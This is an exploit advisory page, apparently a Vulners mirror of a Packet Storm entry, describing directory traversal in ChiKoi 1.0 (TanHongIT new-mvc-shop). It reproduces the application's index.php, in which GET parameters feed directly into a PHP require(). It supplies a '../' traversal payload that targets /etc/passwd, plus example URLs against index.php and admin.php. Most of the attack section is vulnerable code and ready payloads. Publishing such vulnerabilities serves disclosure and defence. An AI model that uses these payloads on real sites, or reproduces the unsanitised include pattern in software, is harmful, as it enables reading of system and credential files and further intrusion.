Lucene search
K

ChiKoi 1.0 Directory Traversal

🗓️ 10 Feb 2023 00:00:00Reported by indoushkaType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 233 Views

ChiKoi 1.0 Directory Traversal Vulnerability in TanHongIT new-mvc-shop v1.

Code
`====================================================================================================================================  
| # Title : ChiKoi version 1.0 Directory Traversal Vulnerability Vulnerability |  
| # Author : indoushka |  
| # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 65.0(32-bit) |   
| # Vendor : https://codeload.github.com/tanhongit/new-mvc-shop/zip/refs/tags/v1.0 |  
| # Dork : |  
====================================================================================================================================  
  
  
poc :  
  
  
[+] Dorking İn Google Or Other Search Enggine .  
  
[+] infested file : index.php & admin.php  
  
<!--  
Developed by: TanHongIT  
Website: https://tanhongit.com - https://tanhongit.net  
Github: https://github.com/TanHongIT  
-->  
<?php  
session_start();  
require_once('lib/model.php');  
require_once('lib/functions.php');  
require_once('content/models/cart.php');  
require "lib/statistics.php";  
require "lib/counter.php";  
// $count_file = 'logs/counter.txt';  
// $ip_file = 'logs/ip.txt';  
// function counting_ip()  
// {  
// $ip = $_SERVER['REMOTE_ADDR'];  
// global $count_file, $ip_file;  
  
// if (!in_array($ip, file($ip_file, FILE_IGNORE_NEW_LINES))) {  
// $current_val = (file_exists($count_file)) ? file_get_contents($count_file) : 0;  
// file_put_contents($ip_file, $ip . "\n", FILE_APPEND);  
// file_put_contents($count_file, ++$current_val);  
// }  
// }  
// counting_ip();  
if (isset($_GET['controller'])) $controller = $_GET['controller'];  
else $controller = 'home';  
if (isset($_GET['action'])) $action = $_GET['action'];  
else $action = 'index';  
$file = 'content/controllers/' . $controller . '/' . $action . '.php';  
if (file_exists($file)) {  
require($file);  
} else {  
show_404();  
}  
  
  
[+] use payload : ../../../../../../../../../etc/passwd  
  
[+] https://127.0.0.1/chikoiquan.tanhongitcom/index.php?action=../../../../../../../../../etc/passwd  
  
[+] https://127.0.0.1/https://chikoiquan.tanhongitcom/admin.php?file=../../../../../../../../../etc/passwd  
  
  
== Greetings to :===========================================================================  
jericho * Larry W. Cashdollar * brutelogic* hyp3rlinx* 9aylas * shadow_00715 * LiquidWorm* |   
============================================================================================  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

10 Feb 2023 00:00Current
0.5Low risk
Vulners AI Score0.5
233